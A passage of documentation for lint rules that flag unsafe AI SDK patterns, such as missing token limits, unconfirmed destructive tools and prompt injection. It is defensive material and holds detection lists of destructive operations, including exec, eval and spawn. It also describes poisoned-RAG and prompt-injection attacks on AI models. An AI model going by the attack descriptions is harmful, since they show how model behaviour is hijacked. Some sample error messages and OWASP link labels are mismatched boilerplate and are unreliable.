`stopWhen` property satisfies the rule — the rule does not statically verify that the condition actually bounds step count. ```typescript // ❌ NOT FLAGGED - stopWhen present but only stops on a tool call await generateText({ tools, stopWhen: hasToolCall('finalize') }); ``` **Mitigation**: Include a `stepCountIs(n)` condition in `stopWhen` (alone or in an array). ### Options from Variable [#options-from-variable] **Why**: Options stored in variables are not analyzed. ```typescript // ❌ NOT DETECTED - Options from variable const opts = { model: openai('gpt-4'), tools, prompt: 'Hello' }; // No maxSteps await generateText(opts); ``` **Mitigation**: Use inline options. Always specify maxSteps with tools. ### Tools from Variable [#tools-from-variable] **Why**: Tools added from variables may not trigger detection. ```typescript // ❌ NOT DETECTED - Tools from variable const tools = getToolset(); await generateText({ ..., tools }); // Has tools, needs maxSteps ``` **Mitigation**: Always set maxSteps when using tools. ### Conditional Tool Usage [#conditional-tool-usage] **Why**: Conditionally added tools may not be detected. ```typescript // ❌ NOT DETECTED - Conditional tools const options = { model, prompt }; if (useTools) options.tools = toolset; // maxSteps also needed! await generateText(options); ``` **Mitigation**: Set maxSteps whenever tools may be used. ### Wrapper Functions [#wrapper-functions] **Why**: Custom wrappers may hide tool usage. ```typescript // ❌ NOT DETECTED - Wrapper with tools await myAgentGenerate(prompt); // Wrapper adds tools internally ``` **Mitigation**: Apply rule to wrapper implementations. ## 📚 References [#-references] * [OWASP LLM10: Unbounded Consumption](https://owasp.org/www-project-top-10-for-large-language-model-applications/) * [CWE-834: Excessive Iteration](https://cwe.mitre.org/data/definitions/834.html) * [Vercel AI SDK Multi-step Agents](https://sdk.vercel.ai/docs/ai-sdk-core/tools) # require-max-tokens > Ensures all AI calls have token limits to prevent resource exhaustion. ## 📊 Rule Details [#-rule-details] | Property | Value | | ------------------ | ----------------------------------------------------------------------------------------------------------- | | **Type** | suggestion | | **Severity** | 🟡 HIGH | | **OWASP LLM** | [LLM10: Unbounded Consumption](https://owasp.org/www-project-top-10-for-large-language-model-applications/) | | **CWE** | [CWE-770: Allocation of Resources Without Limits](https://cwe.mitre.org/data/definitions/770.html) | | **CVSS** | 6.5 | | **Config Default** | `warn` (recommended), `error` (strict) | ## 🔍 What This Rule Detects [#-what-this-rule-detects] This rule identifies AI SDK calls that don't specify a token limit. Without limits, AI responses can consume excessive tokens, leading to high costs and potential denial of service. Both idioms satisfy the rule: * **AI SDK v4**: `maxTokens: 4096` * **AI SDK v5+**: `maxOutputTokens: 4096` (v5 renamed `maxTokens`) ## ❌ Incorrect Code [#-incorrect-code] ```typescript // No token limit await generateText({ model: openai('gpt-4'), prompt: 'Write a story', }); // Missing maxTokens in stream await streamText({ model: anthropic('claude-3'), prompt: 'Explain quantum physics', }); ``` ## ✅ Correct Code [#-correct-code] ```typescript // With token limit await generateText({ model: openai('gpt-4'), prompt: 'Write a story', maxTokens: 4096, }); // Streaming with limit await streamText({ model: anthropic('claude-3'), prompt: 'Explain quantum physics', maxTokens: 2048, }); // AI SDK v5+: maxOutputTokens replaces maxTokens await generateText({ model: 'openai/gpt-5', prompt: 'Write a story', maxOutputTokens: 4096, }); ``` ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | ----------------- | ---------- | --------------------------------------------------------------- | -------------------------------------- | | `suggestedLimit` | `number` | `4096` | Default max tokens limit to suggest | | `targetFunctions` | `string[]` | `["generateText","streamText","generateObject","streamObject"]` | Function names that require max tokens | ## 🛡️ Why This Matters [#️-why-this-matters] Unbounded token consumption can cause: * **Cost explosion** - Each token costs money * **Denial of service** - API rate limits exhausted * **Slow responses** - Long generations impact UX * **Resource starvation** - Other requests may be blocked ## 🔗 Related Rules [#-related-rules] * [`require-max-steps`](./require-max-steps.md) - Limit multi-step tool calling * [`require-abort-signal`](./require-abort-signal.md) - Enable cancellation ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Options from Variable [#options-from-variable] **Why**: Options stored in variables are not analyzed. ```typescript // ❌ NOT DETECTED - Options from variable const options = { model: openai('gpt-4'), prompt: 'Hello' }; // Missing maxTokens await generateText(options); ``` **Mitigation**: Use inline options. Always specify maxTokens explicitly. ### Spread Configuration [#spread-configuration] **Why**: Spread may hide that maxTokens is missing. ```typescript // ❌ NOT DETECTED - maxTokens may not be in base const base = getModelConfig(); await generateText({ ...base, prompt: 'Hello' }); // maxTokens? ``` **Mitigation**: Always set maxTokens explicitly. Don't rely on spread configs. ### Wrapper Functions [#wrapper-functions] **Why**: Custom wrapper functions are not recognized. ```typescript // ❌ NOT DETECTED - Wrapper hides missing maxTokens const result = await myGenerateText('Hello'); // Wrapper may not set limit ``` **Mitigation**: Apply rule to wrapper implementations. ### Model Default Limits [#model-default-limits] **Why**: Model-specific defaults are not considered. ```typescript // ⚠️ MAY FLAG - Model has reasonable default await generateText({ model: openai('gpt-4-turbo'), // Has 4096 default prompt: 'Hello', }); ``` **Mitigation**: Explicitly set maxTokens for clarity. ## 📚 References [#-references] * [OWASP LLM10: Unbounded Consumption](https://owasp.org/www-project-top-10-for-large-language-model-applications/) * [CWE-770: Allocation of Resources Without Limits](https://cwe.mitre.org/data/definitions/770.html) * [Vercel AI SDK Generation Options](https://sdk.vercel.ai/docs/ai-sdk-core/generating-text) # require-output-filtering > Requires filtering of sensitive data returned by AI tools. ## 📊 Rule Details [#-rule-details] | Property | Value | | ------------------ | -------------------------------------------------------------------------------- | | **Type** | suggestion | | **Severity** | 🟡 HIGH | | **OWASP Agentic** | [ASI04: Data Exfiltration](https://owasp.org) | | **CWE** | [CWE-200: Information Exposure](https://cwe.mitre.org/data/definitions/200.html) | | **CVSS** | 6.5 | | **Config Default** | `warn` (recommended), `error` (strict) | ## 🔍 What This Rule Detects [#-what-this-rule-detects] This rule identifies tool execute functions that return raw data from data sources (databases, APIs, file systems) without filtering potentially sensitive information. ## ❌ Incorrect Code [#-incorrect-code] ```typescript // Direct database query return const tools = { search: { execute: async ({ sql }) => db.query(sql), }, }; // Direct find operation const tools = { getUser: { execute: async ({ id }) => users.findById(id), }, }; // Raw fetch result const tools = { loadData: { execute: async ({ url }) => fetchData(url), }, }; ``` ## ✅ Correct Code [#-correct-code] ```typescript // Filtered database results const tools = { search: { execute: async ({ sql }) => filterSensitive(db.query(sql)), }, }; // Sanitized user data const tools = { getUser: { execute: async ({ id }) => sanitizeUserData(users.findById(id)), }, }; // Filtered fetch result const tools = { loadData: { execute: async ({ url }) => { const data = await fetchData(url); return removePII(data); }, }, }; ``` ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | -------------------- | ---------- | --------------------------------------------------------------------------------------------------------- | --------------------------------- | | `dataSourcePatterns` | `string[]` | `["query","find","select","fetch","get","read","load","database","db","sql","mongo","prisma","supabase"]` | Patterns suggesting data sources | | `filterFunctions` | `string[]` | `["filter","sanitize","redact","mask","clean","filterSensitive","removePII","scrub"]` | Functions considered safe filters | ## 🛡️ Why This Matters [#️-why-this-matters] Unfiltered tool output can expose: * **PII** - Names, emails, addresses, SSNs * **Credentials** - Passwords, tokens, API keys * **Internal data** - Database IDs, internal URLs * **Business data** - Financial records, contracts ## 🔗 Related Rules [#-related-rules] * [`no-sensitive-in-prompt`](./no-sensitive-in-prompt.md) - Prevent sensitive input * [`require-tool-schema`](./require-tool-schema.md) - Validate tool inputs ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Filtering in Separate Function [#filtering-in-separate-function] **Why**: Filtering in called functions is not recognized. ```typescript // ❌ NOT DETECTED - Filtering in getData const tools = { getUser: { execute: async ({ id }) => getUserSafe(id), // Filters internally }, }; ``` **Mitigation**: Document filtering. Apply rule to data access functions. ### Custom Data Source Methods [#custom-data-source-methods] **Why**: Non-standard data methods may not be detected. ```typescript // ❌ NOT DETECTED - Custom method name const tools = { data: { execute: async () => myCustomDb.retrieve(id), // Not in patterns }, }; ``` **Mitigation**: Configure `dataSourcePatterns` with custom method names. ### Chained Method Filtering [#chained-method-filtering] **Why**: Method chaining may hide filtering status. ```typescript // ❌ NOT DETECTED - Filter in chain const tools = { search: { execute: async () => db.query(sql).sanitize().toJSON(), }, }; ``` **Mitigation**: Use explicit filter function calls. ### Dynamic Tool Execution [#dynamic-tool-execution] **Why**: Dynamic execute functions are not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic execute const tools = { [name]: { execute: handlers[name] }, // Handler may not filter }; ``` **Mitigation**: Review all dynamic handlers for filtering. ## 📚 References [#-references] * [OWASP ASI04: Data Exfiltration](https://owasp.org) * [CWE-200: Information Exposure](https://cwe.mitre.org/data/definitions/200.html) # require-output-validation > Requires validation of AI output before displaying to users. ## 📊 Rule Details [#-rule-details] | Property | Value | | ------------------ | ---------------------------------------------------------------------------------------------------- | | **Type** | suggestion | | **Severity** | 🟡 MEDIUM | | **OWASP LLM** | [LLM09: Misinformation](https://owasp.org/www-project-top-10-for-large-language-model-applications/) | | **CWE** | [CWE-707: Improper Neutralization](https://cwe.mitre.org/data/definitions/707.html) | | **CVSS** | 5.0 | | **Config Default** | `off` (recommended), `error` (strict) | ## 🔍 What This Rule Detects [#-what-this-rule-detects] ## ❌ Incorrect Code [#-incorrect-code] ```typescript // Direct AI output display display(result.text); // Unvalidated response content render(response.content); // AI output in object respond({ message: result.text }); ``` ## ✅ Correct Code [#-correct-code] ```typescript // Validated output display(validateOutput(result.text)); // Fact-checked output render(factCheck(response.content)); // Sanitized in object respond({ message: sanitize(result.text) }); ``` ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | -------------------- | ---------- | ---------------------------------------------------------------------------------------------------------- | -------------------------------------- | | `displayPatterns` | `string[]` | `["render","display","show","print","send","respond","setContent","setText","setMessage","Response.json"]` | Patterns suggesting display operations | | `validatorFunctions` | `string[]` | `["validate","verify","check","sanitize","filter","validateOutput","factCheck","verifyFacts"]` | Functions that validate output | ## 🛡️ Why This Matters [#️-why-this-matters] Unvalidated AI output can: * **Spread misinformation** - AI hallucinations presented as fact * **Cause harm** - Medical, legal, financial misinformation * **Damage reputation** - Incorrect information attributed to your brand * **Violate regulations** - False claims in regulated industries ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Validation in Separate Module [#validation-in-separate-module] **Why**: Validation logic in other files is not linked. ```typescript // ❌ NOT DETECTED - Validation elsewhere import { processOutput } from './output-handler'; // Has validation display(processOutput(result.text)); ``` **Mitigation**: Document validation requirements. Review output handlers. ### Custom Display Functions [#custom-display-functions] **Why**: Non-standard display functions may not be recognized. ```typescript // ❌ NOT DETECTED - Custom display function customRenderer.showContent(result.text); // Not in displayPatterns ``` **Mitigation**: Configure `displayPatterns` with custom function names. ### Implicit Validation [#implicit-validation] **Why**: Validation logic that doesn't match pattern is not recognized. ```typescript // ❌ NOT DETECTED - Custom validation display(checkContent(result.text)); // checkContent not in validatorFunctions ``` **Mitigation**: Configure `validatorFunctions` with custom names. ### Streaming Output [#streaming-output] **Why**: Streamed content is displayed incrementally. ```typescript // ❌ NOT DETECTED - Streaming without validation for await (const chunk of streamText({ ... })) { display(chunk.text); // Each chunk unvalidated } ``` **Mitigation**: Validate streamed content before display. ## 📚 References [#-references] * [OWASP LLM09: Misinformation](https://owasp.org/www-project-top-10-for-large-language-model-applications/) * [CWE-707: Improper Neutralization](https://cwe.mitre.org/data/definitions/707.html) # require-rag-content-validation > Requires validation of RAG content before including in AI prompts. ## 📊 Rule Details [#-rule-details] | Property | Value | | ------------------ | --------------------------------------------------------------------------------- | | **Type** | suggestion | | **Severity** | 🟡 MEDIUM | | **OWASP Agentic** | [ASI07: Poisoned RAG Pipeline](https://owasp.org) | | **CWE** | [CWE-74: Improper Neutralization](https://cwe.mitre.org/data/definitions/74.html) | | **CVSS** | 6.0 | | **Config Default** | `warn` (recommended), `error` (strict) | ## 🔍 What This Rule Detects [#-what-this-rule-detects] This rule identifies code patterns where content retrieved from vector stores or document retrieval systems is used directly in AI prompts without validation. ## ❌ Incorrect Code [#-incorrect-code] ```typescript // Direct vector store results in prompt const docs = await vectorStore.search(query); await generateText({ prompt: `Based on these documents: ${docs}`, }); // Unvalidated RAG inline await streamText({ prompt: `Context: ${await retrieve(query)}`, }); // Direct search results const results = await similaritySearch(embedding); await generateObject({ prompt: `Use this context: ${results}`, }); ``` ## ✅ Correct Code [#-correct-code] ```typescript // Validated RAG content const docs = await vectorStore.search(query); await generateText({ prompt: buildPrompt(validateContent(docs)), }); // Sanitized retrieval await streamText({ prompt: `Context: ${sanitize(await retrieve(query))}`, }); // Filtered results const docs = await similaritySearch(embedding); const safeDocs = filterDocs(docs); await generateObject({ prompt: buildRAGPrompt(safeDocs), }); ``` ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | -------------------- | ---------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------- | | `ragPatterns` | `string[]` | `["search","retrieve","query","vectorStore","embeddings","similaritySearch","findSimilar","getDocuments","fetchDocs","documents","chunks","passages","context"]` | Patterns suggesting RAG operations | | `validatorFunctions` | `string[]` | `["validate","sanitize","filter","clean","verify","validateRag","sanitizeContent","filterDocs"]` | Functions that validate RAG content | ## 🛡️ Why This Matters [#️-why-this-matters] Poisoned RAG content can: * **Inject instructions** - Malicious documents override AI behavior * **Bypass safety** - Documents contain jailbreak prompts * **Exfiltrate data** - Documents request sensitive information * **Spread misinformation** - AI presents false information as fact ## 🔗 Related Rules [#-related-rules] * [`require-validated-prompt`](./require-validated-prompt.md) - Validate user prompts * [`no-dynamic-system-prompt`](./no-dynamic-system-prompt.md) - Static system prompts ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Validation in Retrieval Function [#validation-in-retrieval-function] **Why**: Validation inside retrieval functions is not visible. ```typescript // ❌ NOT DETECTED - Validation in retrieve await generateText({ prompt: await safeRetrieve(query), // Validates internally }); ``` **Mitigation**: Document validation. Apply rule to retrieval functions. ### Custom RAG Patterns [#custom-rag-patterns] **Why**: Non-standard retrieval methods may not be recognized. ```typescript // ❌ NOT DETECTED - Custom retrieval const context = await myDocumentFetcher.get(query); await generateText({ prompt: `Context: ${context}` }); ``` **Mitigation**: Configure `ragPatterns` with custom method names. ### Template Builders [#template-builders] **Why**: Template functions may hide RAG content. ```typescript // ❌ NOT DETECTED - Template obscures RAG const prompt = buildRAGPrompt(docs); // Validation inside? await generateText({ prompt }); ``` **Mitigation**: Apply validation to template inputs. ### Streamed RAG Content [#streamed-rag-content] **Why**: Streaming retrieval may not be detected. ```typescript // ❌ NOT DETECTED - Streaming RAG for await (const doc of streamDocuments(query)) { // Each doc needs validation } ``` **Mitigation**: Validate each streamed chunk. ## 📚 References [#-references] * [OWASP ASI07: Poisoned RAG Pipeline](https://owasp.org) * [CWE-74: Improper Neutralization](https://cwe.mitre.org/data/definitions/74.html) # require-request-timeout > Requires timeout configuration for AI SDK calls to prevent DoS. ## 📊 Rule Details [#-rule-details] | Property | Value | | ------------------ | ------------------------------------------------------------------------------------------------------------- | | **Type** | suggestion | | **Severity** | 🟡 MEDIUM | | **OWASP LLM** | [LLM04: Model Denial of Service](https://owasp.org/www-project-top-10-for-large-language-model-applications/) | | **CWE** | [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html) | | **CVSS** | 5.0 | | **Config Default** | `warn` (recommended), `error` (strict) | ## 🔍 What This Rule Detects [#-what-this-rule-detects] ## ❌ Incorrect Code [#-incorrect-code] ```typescript // No timeout await generateText({ model: openai('gpt-4'), prompt: 'Hello', }); // Missing timeout in stream await streamText({ model: openai('gpt-4'), prompt: userInput, maxTokens: 4096, }); ``` ## ✅ Correct Code [#-correct-code] ```typescript // With abort signal timeout const controller = new AbortController(); setTimeout(() => controller.abort(), 30000); await generateText({ model: openai('gpt-4'), prompt: 'Hello', abortSignal: controller.signal, }); // With timeout property await streamText({ model: openai('gpt-4'), prompt: userInput, timeout: 30000, }); ``` ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | -------------- | --------- | ------- | ------------------ | | `allowInTests` | `boolean` | `true` | Skip in test files | ## 🛡️ Why This Matters [#️-why-this-matters] Missing timeouts can cause: * **Denial of service** - Requests hang indefinitely * **Resource exhaustion** - Threads/connections blocked * **Cost explosion** - Long-running requests accumulate costs * **Poor UX** - Users wait forever ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Options from Variable [#options-from-variable] **Why**: Options stored in variables are not analyzed. ```typescript // ❌ NOT DETECTED - Options from variable const opts = { model: openai('gpt-4'), prompt: 'Hello' }; // No timeout await generateText(opts); ``` **Mitigation**: Use inline options. Always specify timeout. ### Wrapper Functions [#wrapper-functions] **Why**: Custom wrappers may include timeout internally. ```typescript // ❌ NOT DETECTED - Wrapper adds timeout await myGenerateText(prompt); // Wrapper sets timeout ``` **Mitigation**: Apply rule to wrapper implementations. ### External Timeout Management [#external-timeout-management] **Why**: Timeout managed outside the call is not visible. ```typescript // ❌ NOT DETECTED - Promise.race timeout await Promise.race([ generateText({ ... }), timeout(30000) ]); ``` **Mitigation**: Use built-in timeout/abort signal properties. ### Framework-Level Timeouts [#framework-level-timeouts] **Why**: Framework request timeouts are not linked. ```typescript // ❌ NOT DETECTED (correctly) - Express timeout middleware app.use(timeout(30000)); ``` **Mitigation**: Document framework timeout handling. ## 📚 References [#-references] * [OWASP LLM04: Model Denial of Service](https://owasp.org/www-project-top-10-for-large-language-model-applications/) * [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html) ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-400 OWASP:A06 CVSS:7.5 | Uncontrolled Resource Consumption (ReDoS) detected | HIGH Fix: Review and apply the recommended fix | https://owasp.org/Top10/A06_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-400](https://cwe.mitre.org/data/definitions/400.html) [OWASP:A06](https://owasp.org/Top10/A06_2021-Injection/) [CVSS:7.5](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Uncontrolled Resource Consumption (ReDoS) detected` | | **Severity & Compliance** | Impact assessment | `HIGH` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A06_2021-Injection/) | # require-tool-confirmation > Requires human confirmation for destructive tool operations. ## 📊 Rule Details [#-rule-details] | Property | Value | | ------------------ | ------------------------------------------------------------------------------------------------------ | | **Type** | suggestion | | **Severity** | 🟡 HIGH | | **OWASP LLM** | [LLM06: Excessive Agency](https://owasp.org/www-project-top-10-for-large-language-model-applications/) | | **OWASP Agentic** | [ASI09: Human-Agent Trust Exploitation](https://owasp.org) | | **CWE** | [CWE-862: Missing Authorization](https://cwe.mitre.org/data/definitions/862.html) | | **CVSS** | 7.5 | | **Config Default** | `warn` (recommended), `error` (strict) | ## 🔍 What This Rule Detects [#-what-this-rule-detects] This rule identifies destructive tools (delete, transfer, execute, etc.) that don't require human confirmation before execution. ## ❌ Incorrect Code [#-incorrect-code] ```typescript // Destructive tool executes immediately with no confirmation gate await generateText({ model: openai('gpt-4'), prompt: 'Delete the temp files', tools: { deleteFile: { description: 'Delete a file', execute: async ({ path }: { path: string }) => fs.unlinkSync(path), }, }, }); ``` ## ✅ Correct Code [#-correct-code] ```typescript // Delete with confirmation const tools = { deleteFile: { requiresConfirmation: true, execute: async ({ path }) => fs.unlinkSync(path), }, }; // Transfer with approval const tools = { transferFunds: { requiresApproval: true, execute: async ({ amount, to }) => bank.transfer(amount, to), }, }; // Execute with confirmation const tools = { executeCommand: { confirm: true, execute: async ({ cmd }) => exec(cmd), }, }; ``` ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | --------------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------- | | `destructivePatterns` | `string[]` | `["delete","remove","drop","truncate","destroy","transfer","send","pay","withdraw","purchase","execute","run","eval","exec","spawn","update","modify","change","alter","create","insert","post","write"]` | Patterns that suggest destructive operations | ## 🛡️ Why This Matters [#️-why-this-matters] Unconfirmed destructive operations can cause: * **Data loss** - Files or records deleted without consent * **Financial loss** - Unauthorized transfers * **Security breach** - Malicious commands executed * **Compliance violations** - Actions without audit trail ## 🔗 Related Rules [#-related-rules] * [`require-tool-schema`](./require-tool-schema.md) - Validate tool inputs * [`require-audit-logging`](./require-audit-logging.md) - Log AI operations ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Dynamic Tool Names [#dynamic-tool-names] **Why**: Dynamically named tools are not checked. ```typescript // ❌ NOT DETECTED - Dynamic tool name const tools = { [actionName]: { execute: async (args) => dangerousOperation() }, }; ``` **Mitigation**: Use explicit tool names. Configure patterns for custom names. ### Tool Definition from Variable [#tool-definition-from-variable] **Why**: Tool definitions from variables are not analyzed. ```typescript // ❌ NOT DETECTED - Tool from variable const deleteTool = { execute: async () => deleteData() }; const tools = { deleteFile: deleteTool }; ``` **Mitigation**: Define tools inline. Add confirmation properties. ### Confirmation in Execute Logic [#confirmation-in-execute-logic] **Why**: Confirmation logic inside execute is not recognized. ```typescript // ❌ NOT DETECTED - Manual confirmation check const tools = { deleteFile: { execute: async ({ path, confirmed }) => { if (!confirmed) throw new Error('Not confirmed'); return fs.unlinkSync(path); }, }, }; ``` **Mitigation**: Use declarative confirmation properties. ### Tool Wrappers [#tool-wrappers] **Why**: Wrapper functions that add confirmation are not recognized. ```typescript // ❌ NOT DETECTED - Wrapper adds confirmation const tools = createConfirmableTools({ deleteFile: deleteFn }); ``` **Mitigation**: Apply rule to wrapper implementations. ## 📚 References [#-references] * [OWASP LLM06: Excessive Agency](https://owasp.org/www-project-top-10-for-large-language-model-applications/) * [OWASP ASI09: Human-Agent Trust Exploitation](https://owasp.org) * [CWE-862: Missing Authorization](https://cwe.mitre.org/data/definitions/862.html) ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-862 OWASP:A01 CVSS:8.1 | Missing Authorization detected | HIGH [SOC2,PCI-DSS,HIPAA,ISO27001] Fix: Review and apply the recommended fix | https://owasp.org/Top10/A01_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-862](https://cwe.mitre.org/data/definitions/862.html) [OWASP:A01](https://owasp.org/Top10/A01_2021-Injection/) [CVSS:8.1](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Missing Authorization detected` | | **Severity & Compliance** | Impact assessment | `HIGH [SOC2,PCI-DSS,HIPAA,ISO27001]` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A01_2021-Injection/) | # require-tool-schema > Ensures all AI tools have Zod schema validation for input parameters. Get weather ## 📊 Rule Details [#-rule-details] | Property | Value | | ------------------ | ----------------------------------------------------------------------------------- | | **Type** | suggestion | | **Severity** | 🟡 HIGH | | **OWASP Agentic** | [ASI02: Tool Misuse & Exploitation](https://owasp.org) | | **CWE** | [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html) | | **CVSS** | 7.0 | | **Config Default** | `warn` (recommended), `error` (strict) | ## 🔍 What This Rule Detects [#-what-this-rule-detects] This rule identifies AI tools that lack input schema validation. Without schema validation, AI models can pass arbitrary data to tool execute functions, enabling exploitation. ## ❌ Incorrect Code [#-incorrect-code] ```typescript // No schema const tools = { weather: { execute: async (params) => getWeather(params.location), }, }; // Missing inputSchema in tool() helper const myTool = tool({ description: 'Get weather', execute: async (params) => getWeather(params.location), }); ``` ## ✅ Correct Code [#-correct-code] ```typescript // With inputSchema const tools = { weather: { inputSchema: z.object({ location: z.string().max(100), }), execute: async ({ location }) => getWeather(location), }, }; // Using tool() helper with schema const weatherTool = tool({ description: 'Get weather', inputSchema: z.object({ location: z.string().max(100), unit: z.enum(['celsius', 'fahrenheit']).optional(), }), execute: async ({ location, unit }) => getWeather(location, unit), }); ``` ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | -------------- | --------- | ------- | --------------------------------------------- | | `allowInTests` | `boolean` | `false` | Allow tools without inputSchema in test files | ## 🛡️ Why This Matters [#️-why-this-matters] Without input validation, AI agents can: * **Pass malicious data** - Inject SQL, paths, or commands * **Bypass business logic** - Skip validation rules * **Cause DoS** - Pass extremely large or nested data * **Exploit type confusion** - Pass unexpected data types ## 🔗 Related Rules [#-related-rules] * [`require-tool-confirmation`](./require-tool-confirmation.md) - Require confirmation for destructive tools * [`require-output-filtering`](./require-output-filtering.md) - Filter tool output ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Schema from Variable [#schema-from-variable] **Why**: Schema stored in variables is not analyzed. ```typescript // ❌ NOT DETECTED - Schema from variable const schema = z.object({ location: z.string() }); const tools = { weather: { inputSchema: schema, execute: fn } }; ``` **Mitigation**: Define schemas inline in tool definitions. ### Dynamic Tool Definitions [#dynamic-tool-definitions] **Why**: Dynamically created tools are not checked. ```typescript // ❌ NOT DETECTED - Dynamic tool creation const tools = createTools(toolConfigs); // May not have schemas ``` **Mitigation**: Apply rule to tool factory functions. ### Weak Schema Validation [#weak-schema-validation] **Why**: Schema quality is not assessed. ```typescript // ❌ NOT DETECTED - Overly permissive schema const tools = { execute: { inputSchema: z.object({}).passthrough(), // Allows any extra fields! execute: fn, }, }; ``` **Mitigation**: Use strict schemas. Avoid `.passthrough()`. ### Tool Helper Wrappers [#tool-helper-wrappers] **Why**: Custom tool helpers may not be recognized. ```typescript // ❌ NOT DETECTED - Custom helper const weatherTool = createTool({ name: 'weather', handler: getWeather, // No schema visible }); ``` **Mitigation**: none available for custom helpers — the schema property names this rule looks for are fixed and not configurable. Declare the tool directly instead, with `tool({ inputSchema })` on AI SDK v5+ or `tool({ parameters })` on v4; both satisfy the rule. ## 📚 References [#-references] * [OWASP ASI02: Tool Misuse & Exploitation](https://owasp.org) * [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html) * [Vercel AI SDK Tools](https://sdk.vercel.ai/docs/ai-sdk-core/tools) ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-20 OWASP:A06 CVSS:7.5 | Improper Input Validation detected | HIGH [SOC2,PCI-DSS,HIPAA,GDPR,ISO27001] Fix: Review and apply the recommended fix | https://owasp.org/Top10/A06_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Risk Standards** | Security benchmarks | [CWE-20](https://cwe.mitre.org/data/definitions/20.html) [OWASP:A06](https://owasp.org/Top10/A06_2021-Injection/) [CVSS:7.5](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Improper Input Validation detected` | | **Severity & Compliance** | Impact assessment | `HIGH [SOC2,PCI-DSS,HIPAA,GDPR,ISO27001]` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A06_2021-Injection/) | # require-validated-prompt > Prevents prompt injection by detecting unvalidated user input in AI prompts. ## 📊 Rule Details [#-rule-details] | Property | Value | | ------------------ | ------------------------------------------------------------------------------------------------------ | | **Type** | problem | | **Severity** | 🔴 CRITICAL | | **OWASP LLM** | [LLM01: Prompt Injection](https://owasp.org/www-project-top-10-for-large-language-model-applications/) | | **CWE** | [CWE-74: Improper Neutralization](https://cwe.mitre.org/data/definitions/74.html) | | **CVSS** | 9.0 | | **Config Default** | `error` (recommended, strict) | ## 🔍 What This Rule Detects [#-what-this-rule-detects] This rule identifies code patterns where user-controlled input is passed directly to AI prompts without validation or sanitization. Such patterns expose your application to prompt injection attacks. ## ❌ Incorrect Code [#-incorrect-code] ```typescript // Direct user input in prompt await generateText({ prompt: userInput, }); // User input from request await generateText({ prompt: req.body.question, }); // Concatenated user input await generateText({ prompt: 'Answer this: ' + userQuestion, }); // Template literal with user input await streamText({ prompt: `User asked: ${message}`, }); ``` ## ✅ Correct Code [#-correct-code] ```typescript // Validated input await generateText({ prompt: validateInput(userInput), }); // Sanitized prompt await generateText({ prompt: sanitizePrompt(req.body.question), }); // Safe static prompt await generateText({ prompt: 'What is the capital of France?', }); // Validated template await streamText({ prompt: `User asked: ${validateQuestion(message)}`, }); ``` ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | -------------------- | ---------- | ------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------- | | `validatorFunctions` | `string[]` | `["validateInput","sanitizeInput","validatePrompt","sanitizePrompt","escapeInput","cleanInput"]` | Function names considered as input validators | | `userInputPatterns` | `string[]` | `["userInput","userPrompt","userMessage","userQuery","userContent","input","query","message","req.body","request.body"]` | Variable patterns that suggest user input (regex) | | `allowInTests` | `boolean` | `false` | Allow unsafe patterns in test files | ### Example Configuration [#example-configuration] ```javascript { 